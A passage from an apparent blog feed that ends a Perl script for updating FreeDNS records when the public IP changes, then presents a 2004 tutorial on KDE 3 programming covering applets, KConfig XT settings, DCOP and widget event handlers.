  <span class="k">my</span> <span class="nv">$simulate</span> <span class="o">=</span> <span class="nv">$args</span><span class="p">{</span><span class="nv">simulate</span><span class="p">};</span>
  <span class="k">my</span> <span class="nv">$print</span> <span class="o">=</span> <span class="nv">$args</span><span class="p">{</span><span class="k">print</span><span class="p">};</span>
  <span class="k">my</span> <span class="nv">$help</span> <span class="o">=</span> <span class="nv">$args</span><span class="p">{</span><span class="nv">help</span><span class="p">};</span>

  <span class="k">if</span> <span class="p">(</span><span class="nv">$help</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">sprintf</span><span class="p">(</span><span class="sx">qq(%s\n)</span><span class="p">,</span> <span class="nv">usage</span><span class="p">()));</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">my</span> <span class="nv">$domain_ip</span> <span class="o">=</span> <span class="nv">$ns</span>
                  <span class="p">?</span> <span class="nv">get_ip_address_by_hostname_from_ns</span><span class="p">(</span><span class="nv">$domain</span><span class="p">,</span> <span class="nv">$ns</span><span class="p">)</span>
                  <span class="p">:</span> <span class="nv">get_ip_address_by_hostname</span><span class="p">(</span><span class="nv">$domain</span><span class="p">);</span>

  <span class="nv">$my_ip</span> <span class="o">=</span> <span class="nv">get_my_ip_address</span> <span class="k">if</span> <span class="o">!</span><span class="nb">defined</span><span class="p">(</span><span class="nv">$my_ip</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="nv">$print</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">sprintf</span><span class="p">(</span><span class="sx">qq(Before:\t%s\n)</span><span class="p">,</span> <span class="nv">$domain_ip</span><span class="p">));</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">sprintf</span><span class="p">(</span><span class="sx">qq(After:\t%s\n)</span><span class="p">,</span> <span class="nv">$my_ip</span><span class="p">));</span>
 <span class="p">}</span>

  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$simulate</span>
      <span class="ow">and</span> <span class="p">(</span><span class="nv">$force</span>
           <span class="ow">or</span> <span class="nv">$domain_ip</span> <span class="ow">ne</span> <span class="nv">$my_ip</span><span class="p">))</span> <span class="p">{</span>
    <span class="nv">update_host_ip_address</span><span class="p">(</span><span class="nv">$domain</span><span class="p">,</span> <span class="nv">$key</span><span class="p">,</span> <span class="nv">$my_ip</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

<span class="nb">eval</span> <span class="p">{</span>
  <span class="nv">main</span><span class="p">;</span>
<span class="p">};</span>

<span class="nv">fault_handler</span><span class="p">(</span><span class="vg">$@</span><span class="p">)</span> <span class="k">if</span> <span class="vg">$@</span><span class="p">;</span></code></pre></figure>]]></content><author><name>Kamil Jiwa</name></author><summary type="html"><![CDATA[As its name suggests, FreeDNS is a free Internet DNS service. If you manage your domains with them, you can use this script to update your DNS records whenever your IP changes. It acts by querying the A record for your domain and for your public IP. If there is a mismatch between them, an update is invoked. The script is written in Perl and accepts the following options:]]></summary></entry><entry><title type="html">Introduction to KDE Programming</title><link href="https://crimsonglow.ca/~kjiwa/2004/09/introduction-to-kde-programming.html" rel="alternate" type="text/html" title="Introduction to KDE Programming" /><published>2004-09-01T00:00:00-07:00</published><updated>2004-09-01T00:00:00-07:00</updated><id>https://crimsonglow.ca/~kjiwa/2004/09/introduction-to-kde-programming</id><content type="html" xml:base="https://crimsonglow.ca/~kjiwa/2004/09/introduction-to-kde-programming.html"><![CDATA[<h1 id="introduction">Introduction</h1>

<h2 id="motivation">Motivation</h2>

<p>The information presented within stems from my experiences developing for the KDE platform. I’ve found that it is difficult to find relevant documentation for KDE components such as DCOP, KConfig, and icon themes. The situation becomes increasingly dire for less common uses of these components. Often one must resort to source code for other KDE projects to see how some of these components are to be used. I hope to address this and guide a new KDE developer through the different components available to them.</p>

<h2 id="applications-vs-applets">Applications vs Applets</h2>

<p>A KDE application conventionally consists of a main window with a menu bar and toolbars, for example, Konqueror and JuK. A user may explicitly invoke it by executing the associated binary. A KDE panel applet is similar in structure to a KDE application but it is implicitly invoked through the Kicker, the KDE panel, and runs from within it.</p>

<p>Very simply, the technical distinction between an application and an applet is in the use of KApplication versus KPanelApplet as a base class for your program. Simply substituting one base class for the other, however, will not transform your program into the other. There are differences in the project structure affecting things such as the build process and entry points. The technical aspects will be covered in subsequent sections.</p>

<h1 id="requirements">Requirements</h1>

<h2 id="prerequisites">Prerequisites</h2>

<p>In order to compile and run the programs used herein you must have a working GNU/Linux environment with the following packages:</p>

<ul>
  <li>kdelibs, kdelibs-dev[el] (3.2+)</li>
  <li>gcc, g++, make</li>
  <li>autoconf, automake, libtool</li>
</ul>

<h2 id="expected-background">Expected Background</h2>

<p>The reader ought to have experience developing with C++ in a Linux environment. Basic knowledge of Qt and KDE is beneficial.</p>

<h1 id="the-basics">The Basics</h1>

<h2 id="application">Application</h2>

<p>The basic structure for a KDE application contains the application class, subclassed from KApplication, and an entry point.</p>

<div class="caption">application.cpp</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;kaboutdata.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;kapplication.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;kcmdlineargs.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;klocale.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Application</span> <span class="o">:</span> <span class="k">public</span> <span class="n">KApplication</span> <span class="p">{</span> <span class="p">};</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
  <span class="n">KAboutData</span> <span class="n">about</span><span class="p">(</span><span class="s">"application"</span><span class="p">,</span> <span class="n">I18N_NOOP</span><span class="p">(</span><span class="s">"Application"</span><span class="p">),</span> <span class="s">"0.1"</span><span class="p">,</span> <span class="n">I18N_NOOP</span><span class="p">(</span><span class="s">"Application"</span><span class="p">),</span> <span class="n">KAboutData</span><span class="o">::</span><span class="n">License_GPL_V2</span><span class="p">);</span>
  <span class="n">KCmdLineArgs</span><span class="o">::</span><span class="n">init</span><span class="p">(</span><span class="n">argc</span><span class="p">,</span> <span class="n">argv</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">about</span><span class="p">);</span>
  <span class="n">Application</span> <span class="n">a</span><span class="p">;</span>
  <span class="k">return</span> <span class="n">a</span><span class="p">.</span><span class="n">exec</span><span class="p">();</span>
<span class="p">}</span></code></pre></figure>

<p>This program creates a new KDE application with an event loop. The program is created as a binary with int main(int, char* []) as its entry point. No further actions are taken.</p>

<p>To build the application by hand, the following commands may be used:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>g++ <span class="nt">-I</span>/usr/include/qt3 <span class="nt">-I</span>/usr/include/kde <span class="nt">-c</span> <span class="nt">-o</span> application.o ./application.cpp
<span class="nv">$ </span>g++ <span class="nt">-L</span>/usr/lib/kde <span class="nt">-lkdeui</span> <span class="nt">-o</span> application application.o</code></pre></figure>

<h2 id="applet">Applet</h2>

<p>The basic structure for a KDE applet is similar to that for applications. The code base contains the applet class, subclassed from KPanelApplet, and an entry point.</p>

<div class="caption">applet.cpp</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;kglobal.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;klocale.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;kpanelapplet.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Applet</span> <span class="o">:</span> <span class="k">public</span> <span class="n">KPanelApplet</span> <span class="p">{</span> <span class="p">};</span>

<span class="k">extern</span> <span class="s">"C"</span> <span class="p">{</span>
  <span class="n">KPanelApplet</span><span class="o">*</span> <span class="n">init</span><span class="p">(</span><span class="n">QWidget</span><span class="o">*</span> <span class="n">parent</span><span class="p">,</span> <span class="k">const</span> <span class="n">QString</span><span class="o">&amp;</span> <span class="n">configFile</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">actions</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">KGlobal</span><span class="o">::</span><span class="n">locale</span><span class="p">()</span><span class="o">-&gt;</span><span class="n">insertCatalogue</span><span class="p">(</span><span class="s">"applet"</span><span class="p">);</span>
    <span class="k">return</span> <span class="k">new</span> <span class="n">Applet</span><span class="p">(</span><span class="n">configFile</span><span class="p">,</span> <span class="n">KPanelApplet</span><span class="o">::</span><span class="n">Normal</span><span class="p">,</span> <span class="n">actions</span><span class="p">,</span> <span class="n">parent</span><span class="p">,</span> <span class="s">"applet"</span><span class="p">);</span>
  <span class="p">}}</span></code></pre></figure>

<p>Notice that while the main class has a similar structure to the application, the entry point differs significantly. The applet is not compiled to a binary program and it cannot be invoked with main(). Instead, the applet is compiled to a shared object with init() as an entry point.</p>

<p>A class and an entry point are not enough to load the applet. The KDE Kicker and Panel Applet Proxy rely on the presence of a .desktop file which contains information about the applet and how to load it. The example .desktop file tells the invoking application (e.g. Kicker, Applet Proxy) that the code the our applet is available in the libapplet object.</p>

<div class="caption">applet.desktop</div>

<figure class="highlight"><pre><code class="language-cfg" data-lang="cfg">[Desktop Entry]
Encoding=UTF-8
Comment=An Example Applet
Name=Applet
X-KDE-Library=libapplet</code></pre></figure>

<p>Here we define a name and description for the applet, “Applet” and “An Example Applet”, respectively. The X-KDE-Library setting tells the invoking application which library the applet has been compiled to, libapplet.so in this case.</p>

<p>Tip: Use the Panel Applet Proxy to run the applet from a console to view debugging output. e.g.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>appletproxy /usr/share/apps/kicker/applets/applet.desktop</code></pre></figure>

<h2 id="user-interface">User Interface</h2>

<p>Our user interface (UI) will be implemented as a widget and therefore inherits from QWidget. Within the widget is also where the program logic should be implemented. Placing the UI within the widget increases code reusability, although it is not incorrect to directly implement it within the application or applet.</p>

<div class="caption">widget.h</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;qwidget.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Widget</span> <span class="o">:</span> <span class="k">public</span> <span class="n">QWidget</span> <span class="p">{</span> <span class="p">};</span></code></pre></figure>

<p>We can load the widget by creating a new instance of the widget and displaying it from anywhere within the code.</p>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">"widget.h"</span><span class="cp">
</span>
<span class="p">{</span>
  <span class="p">...</span>
  <span class="n">Widget</span><span class="o">*</span> <span class="n">pWidget</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Widget</span><span class="p">(</span><span class="k">this</span><span class="p">);</span>
  <span class="n">pWidget</span><span class="o">-&gt;</span><span class="n">show</span><span class="p">();</span>
  <span class="p">...</span>
<span class="p">}</span>
 </code></pre></figure>

<h1 id="settings">Settings</h1>

<p>With the release of KDE 3.2, KConfig XT has been adopted as the official configuration framework for KDE and KDE programs. For each configuration file, two files are required: a .kcfg file containing the configuration structure and a .kcfgc file containing code generation options.</p>

<p>The .kcfg file contains XML describing the settings data. Conventionally it should have the same base name as the target being compiled (i.e. for libapplet.la use libapplet_la.kcfg and for application use application.kcfg).</p>

<div class="caption">application.kcfg</div>

<figure class="highlight"><pre><code class="language-xml" data-lang="xml"><span class="cp">&lt;?xml version="1.0" encoding="UTF-8" ?&gt;</span>
<span class="cp">&lt;!DOCTYPE kcfg SYSTEM "http://www.kde.org/standards/kcfg/1.0/kcfg.dtd"&gt;</span>
<span class="nt">&lt;kcfg&gt;</span>
  <span class="nt">&lt;kcfgfile</span> <span class="na">name=</span><span class="s">"apprc"</span> <span class="nt">/&gt;</span>
  <span class="nt">&lt;group</span> <span class="na">name=</span><span class="s">"General"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;entry</span> <span class="na">name=</span><span class="s">"icon"</span> <span class="na">type=</span><span class="s">"String"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;label&gt;</span>The program icon.<span class="nt">&lt;/label&gt;</span>
      <span class="nt">&lt;default&gt;</span>kate<span class="nt">&lt;/default&gt;</span>
    <span class="nt">&lt;/entry&gt;</span>
  <span class="nt">&lt;/group&gt;</span>
<span class="nt">&lt;/kcfg&gt;</span></code></pre></figure>

<p>The example settings shown in figure 6 define one option, stored as a string, called icon. The save location is defined by the kcfgfile tag, “apprc” in this case.</p>

<p>The .kcfgc file is an ini file containing code generation options. Values for File and ClassName are required. These options tell the settings compiler which file the settings data has been defined in and what the name of the generated class will be, e.g. settings.kcfgc.</p>

<div class="caption">settings.kcfgc</div>

<figure class="highlight"><pre><code class="language-cfg" data-lang="cfg">File=application.kcfg
ClassName=Settings</code></pre></figure>

<p>Other available options include Inherits, MemberVariables, Mutators NameSpace, and Singleton. The use of the Mutators option is particularly useful if options data may change.</p>

<p>In order to use the settings data, the files must be compiled by the kconfig_compiler program. e.g.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>kconfig_compiler application.kcfg settings.kcfgc</code></pre></figure>

<p>The class generated in the example is output to settings.h and has the following interface:</p>

<div class="caption">settings.h</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;kconfigskeleton.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Settings</span> <span class="o">:</span> <span class="k">public</span> <span class="n">KConfigSkeleton</span> <span class="p">{</span>
<span class="nl">public:</span>
  <span class="n">Settings</span><span class="p">();</span>
  <span class="o">~</span><span class="n">Settings</span><span class="p">();</span>

  <span class="n">QString</span> <span class="n">icon</span><span class="p">()</span> <span class="k">const</span><span class="p">;</span>

<span class="nl">protected:</span>
  <span class="n">QString</span> <span class="n">mIcon</span><span class="p">;</span>
<span class="p">};</span></code></pre></figure>

<p>Note that we need not explicitly load or save the settings; KConfig XT takes care of this for us and stores them in $KDE_HOME/.kde/share/config.</p>

<h1 id="interprocess-communication">Interprocess Communication</h1>

<p>The Desktop Communication Protocol (DCOP) was designed to achieve interprocess communication (IPC) between KDE programs. To use DCOP, an interface needs to be defined for the program. Doing so exposes a set of functions to the DCOP server.</p>

<div class="caption">widgetinterface.h</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;dcopobject.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">WidgetInterface</span> <span class="o">:</span> <span class="k">virtual</span> <span class="k">public</span> <span class="n">DCOPObject</span> <span class="p">{</span>
  <span class="n">K_DCOP</span>

<span class="nl">k_dcop:</span>
  <span class="k">virtual</span> <span class="n">QString</span> <span class="n">icon</span><span class="p">()</span> <span class="k">const</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
  <span class="k">virtual</span> <span class="kt">void</span> <span class="n">quit</span><span class="p">()</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="p">};</span></code></pre></figure>

<p>The implementation is straightforward. The name of the interface is set as a parameter to the DCOPObject base class.</p>

<div class="caption">widget.cpp</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">"settings.h"</span><span class="cp">
#include</span> <span class="cpf">"widgetinterface.h"</span><span class="cp">
#include</span> <span class="cpf">&lt;dcopclient.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;kglobal.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;qwidget.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Widget</span> <span class="o">:</span> <span class="k">public</span> <span class="n">QWidget</span><span class="p">,</span> <span class="k">public</span> <span class="n">WidgetInterface</span> <span class="p">{</span>
<span class="nl">public:</span>
  <span class="n">Widget</span><span class="p">(</span><span class="n">QWidget</span><span class="o">*</span> <span class="n">parent</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">name</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span> <span class="o">:</span> <span class="n">QWidget</span><span class="p">(</span><span class="n">parent</span><span class="p">,</span> <span class="n">name</span><span class="p">),</span> <span class="n">DCOPObject</span><span class="p">(</span><span class="s">"WidgetInterface"</span><span class="p">)</span> <span class="p">{</span> <span class="p">}</span>

  <span class="n">QString</span> <span class="n">icon</span><span class="p">()</span> <span class="k">const</span> <span class="p">{</span>
    <span class="n">Settings</span> <span class="n">s</span><span class="p">;</span>
    <span class="k">return</span> <span class="n">s</span><span class="p">.</span><span class="n">icon</span><span class="p">();</span>
  <span class="p">}</span>

  <span class="kt">void</span> <span class="nf">quit</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">kapp</span><span class="o">-&gt;</span><span class="n">quit</span><span class="p">();</span>
  <span class="p">}</span>
<span class="p">};</span></code></pre></figure>

<p>The next step is to establish a connection with the DCOP server. This step is typically done once by the main application (e.g. within Application() or Applet()). Any interfaces which have been implemented will automatically become available.</p>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;dcopclient.h&gt;</span><span class="cp">
</span>
<span class="p">{</span>
  <span class="p">...</span>
  <span class="n">DCOPClient</span> <span class="n">client</span><span class="p">;</span>
  <span class="n">client</span><span class="p">.</span><span class="n">registerAs</span><span class="p">(</span><span class="s">"application"</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
  <span class="p">...</span>
<span class="p">}</span></code></pre></figure>

<p>Now, we have the following functions available to DCOP:</p>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="n">application</span><span class="p">.</span><span class="n">WidgetInterface</span><span class="p">.</span><span class="n">icon</span><span class="p">()</span>
<span class="n">application</span><span class="p">.</span><span class="n">WidgetInterface</span><span class="p">.</span><span class="n">quit</span><span class="p">()</span></code></pre></figure>

<p>We can use the DCOP client to call these functions from within the program.</p>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;dcopclient.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;qbytearray.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;qdatastream.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;qcstring.h&gt;</span><span class="cp">
</span>
<span class="n">QByteArray</span> <span class="n">data</span><span class="p">,</span> <span class="n">replyData</span><span class="p">;</span>
<span class="n">QCString</span> <span class="n">replyType</span><span class="p">;</span>

<span class="n">DCOPClient</span> <span class="n">client</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">client</span><span class="p">.</span><span class="n">call</span><span class="p">(</span><span class="s">"application"</span><span class="p">,</span> <span class="s">"WidgetInterface"</span><span class="p">,</span> <span class="s">"icon"</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">replyType</span><span class="p">,</span> <span class="n">replyData</span><span class="p">))</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">replyType</span> <span class="o">==</span> <span class="s">"QString"</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">QDataStream</span> <span class="n">reply</span><span class="p">(</span><span class="n">replyData</span><span class="p">,</span> <span class="n">IO_ReadOnly</span><span class="p">);</span>
    <span class="n">QString</span> <span class="n">result</span><span class="p">;</span>
    <span class="n">reply</span> <span class="o">&gt;&gt;</span> <span class="n">result</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span></code></pre></figure>

<p>A DCOP interface is also an effective debugging tool. Tools such as dcop and kdcop allow execution and analysis of available DCOP interfaces. e.g.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>dcop application WidgetInterface icon</code></pre></figure>

<h1 id="widgets">Widgets</h1>

<h2 id="kmainwindow">KMainWindow</h2>

<p>Typically applications use dialogs as their main widget. KDE provides the KMainWindow widget to build a main window from.</p>

<div class="caption">widget.cpp</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;kmainwindow.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Widget</span> <span class="o">:</span> <span class="k">public</span> <span class="n">KMainWindow</span> <span class="p">{</span> <span class="p">};</span></code></pre></figure>

<h2 id="qlabel">QLabel</h2>

<p>Applets do not typically use dialogs as their main widget. Instead buttons, labels, sliders, and many others are commonly used.</p>

<div class="caption">widget.cpp</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;kicontheme.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;qlabel.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Widget</span> <span class="o">:</span> <span class="k">public</span> <span class="n">QLabel</span> <span class="p">{</span>
<span class="nl">public:</span>
  <span class="n">Widget</span><span class="p">(</span><span class="n">QWidget</span><span class="o">*</span> <span class="n">parent</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">name</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span> <span class="o">:</span> <span class="n">QLabel</span><span class="p">(</span><span class="n">parent</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">setAlignment</span><span class="p">(</span><span class="n">Qt</span><span class="o">::</span><span class="n">AlignHCenter</span> <span class="o">|</span> <span class="n">Qt</span><span class="o">::</span><span class="n">AlignVCenter</span><span class="p">);</span>
    <span class="n">Settings</span> <span class="n">s</span><span class="p">;</span>
    <span class="n">setPixmap</span><span class="p">(</span><span class="n">SmallIcon</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">icon</span><span class="p">()));</span>
  <span class="p">}</span>
<span class="p">};</span></code></pre></figure>

<h2 id="kconfigdialog">KConfigDialog</h2>

<p>KConfigDialog is a type of dialog that has been customized for displaying settings. If the KConfig XT framework is being used, then our generated class to be defined as a singleton. A widget with the widget names corresponding to the names of the settings, prefixed with kcfg_, must be designed for use with the dialog. For example, a QLabel for the icon setting would be named kcfg_icon.</p>

<div class="caption">widget.cpp</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">"settings.h"</span><span class="cp">
#include</span> <span class="cpf">"settingswidget.h"</span><span class="cp">
#include</span> <span class="cpf">&lt;kconfigdialog.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;klocale.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;qwidget.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Widget</span> <span class="o">:</span> <span class="k">public</span> <span class="n">QWidget</span> <span class="p">{</span>
<span class="nl">public:</span>
  <span class="kt">void</span> <span class="n">preferences</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">KConfigDialog</span><span class="o">::</span><span class="n">showDialog</span><span class="p">(</span><span class="s">"settings"</span><span class="p">))</span> <span class="p">{</span>
      <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">KConfigDialog</span><span class="o">*</span> <span class="n">pDialog</span> <span class="o">=</span> <span class="k">new</span> <span class="nf">KConfigDialog</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="s">"settings"</span><span class="p">,</span> <span class="n">Settings</span><span class="o">::</span><span class="n">self</span><span class="p">());</span>
    <span class="n">SettingsWidget</span><span class="o">*</span> <span class="n">pWidget</span> <span class="o">=</span> <span class="k">new</span> <span class="nf">SettingsWidget</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s">"General"</span><span class="p">);</span>
    <span class="n">pDialog</span><span class="o">-&gt;</span><span class="n">addPage</span><span class="p">(</span><span class="n">pWidget</span><span class="p">,</span> <span class="n">i18n</span><span class="p">(</span><span class="s">"General"</span><span class="p">),</span> <span class="s">"general"</span><span class="p">);</span>
    <span class="n">pDialog</span><span class="o">-&gt;</span><span class="n">show</span><span class="p">();</span>
  <span class="p">}</span>
<span class="p">};</span></code></pre></figure>

<h1 id="event-handlers">Event Handlers</h1>

<h2 id="context-menu">Context Menu</h2>

<p>A context menu event is received when the right mouse button is pressed on the widget. By default, this event is ignored. To display a menu, a QPopupMenu or a KPopupMenu must be implemented within the contextMenuEvent event handler.</p>

<div class="caption">widget.cpp</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;dcopclient.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;kglobal.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;kicontheme.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;klocale.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;kpopupmenu.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;qwidget.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Widget</span> <span class="o">:</span> <span class="k">public</span> <span class="n">QWidget</span> <span class="p">{</span>
  <span class="n">Q_OBJECT</span>

<span class="nl">protected:</span>
  <span class="kt">void</span> <span class="n">contextMenuEvent</span><span class="p">(</span><span class="n">QContextMenuEvent</span><span class="o">*</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">KPopupMenu</span> <span class="n">menu</span><span class="p">(</span><span class="k">this</span><span class="p">);</span>
    <span class="n">menu</span><span class="p">.</span><span class="n">insertTitle</span><span class="p">(</span><span class="n">i18n</span><span class="p">(</span><span class="s">"My Menu"</span><span class="p">));</span>
    <span class="n">menu</span><span class="p">.</span><span class="n">insertItem</span><span class="p">(</span><span class="n">i18n</span><span class="p">(</span><span class="s">"Menu Item"</span><span class="p">));</span>
    <span class="n">menu</span><span class="p">.</span><span class="n">insertSeparator</span><span class="p">();</span>
    <span class="n">menu</span><span class="p">.</span><span class="n">insertItem</span><span class="p">(</span><span class="n">SmallIcon</span><span class="p">(</span><span class="s">"exit"</span><span class="p">),</span> <span class="n">i18n</span><span class="p">(</span><span class="s">"&amp;Quit"</span><span class="p">),</span> <span class="k">this</span><span class="p">,</span> <span class="n">SLOT</span><span class="p">(</span><span class="n">quit</span><span class="p">()));</span>
    <span class="n">menu</span><span class="p">.</span><span class="n">exec</span><span class="p">();</span>
  <span class="p">}</span>

<span class="k">private</span> <span class="n">slots</span><span class="o">:</span>
  <span class="kt">void</span> <span class="nf">quit</span><span class="p">()</span> <span class="p">{</span>
    <span class="n">kapp</span><span class="o">-&gt;</span><span class="n">quit</span><span class="p">();</span>
  <span class="p">}</span>
<span class="p">};</span></code></pre></figure>

<p>The KHelpMenu object may be of interest. It provides a standard KDE help menu with various dialogs and links to help documentation and is easily embedded into the menu.</p>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="p">{</span>
  <span class="p">...</span>
  <span class="n">KAboutData</span> <span class="n">about</span><span class="p">(</span><span class="s">"application"</span><span class="p">,</span> <span class="n">I18N_NOOP</span><span class="p">(</span><span class="s">"Application"</span><span class="p">),</span> <span class="s">"0.1"</span><span class="p">,</span> <span class="n">I18N_NOOP</span><span class="p">(</span><span class="s">"Application"</span><span class="p">),</span> <span class="n">KAboutData</span><span class="o">::</span><span class="n">License_GPL_V2</span><span class="p">);</span>
  <span class="n">KHelpMenu</span><span class="o">*</span> <span class="n">pHelp</span> <span class="o">=</span> <span class="k">new</span> <span class="n">KHelpMenu</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">about</span><span class="p">,</span> <span class="nb">false</span><span class="p">);</span>
  <span class="n">menu</span><span class="p">.</span><span class="n">insertItem</span><span class="p">(</span><span class="n">i18n</span><span class="p">(</span><span class="s">"&amp;Help"</span><span class="p">),</span> <span class="n">pHelp</span><span class="o">-&gt;</span><span class="n">menu</span><span class="p">());</span>
  <span class="p">...</span>
<span class="p">}</span></code></pre></figure>

<h2 id="mouse-press">Mouse Press</h2>

<p>Mouse press events are received whenever the widget is clicked upon, whether it be with the left, middle, or right mouse buttons. These events may be captured from within the mousePressEvent event handler. Note that there is an overlap between the mouse press event and the context menu event when the right mouse button is pressed.</p>

<div class="caption">widget.cpp</div>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;qwidget.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;qevent.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Widget</span> <span class="o">:</span> <span class="k">public</span> <span class="n">QWidget</span> <span class="p">{</span>
<span class="nl">protected:</span>
  <span class="kt">void</span> <span class="n">mousePressEvent</span><span class="p">(</span><span class="n">QMousePressEvent</span><span class="o">*</span> <span class="n">e</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">e</span><span class="o">-&gt;</span><span class="n">button</span><span class="p">()</span> <span class="o">==</span> <span class="n">Qt</span><span class="o">::</span><span class="n">LeftButton</span><span class="p">)</span> <span class="p">{</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">};</span></code></pre></figure>

<h2 id="resize">Resize</h2>

<p>As with the context menu and mouse press events, the resize event is handled by the resizeEvent() function. If an icon is displayed it may be resized by using the KDE icon theme functions.</p>

<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include</span> <span class="cpf">&lt;kicontheme.h&gt;</span><span class="cp">
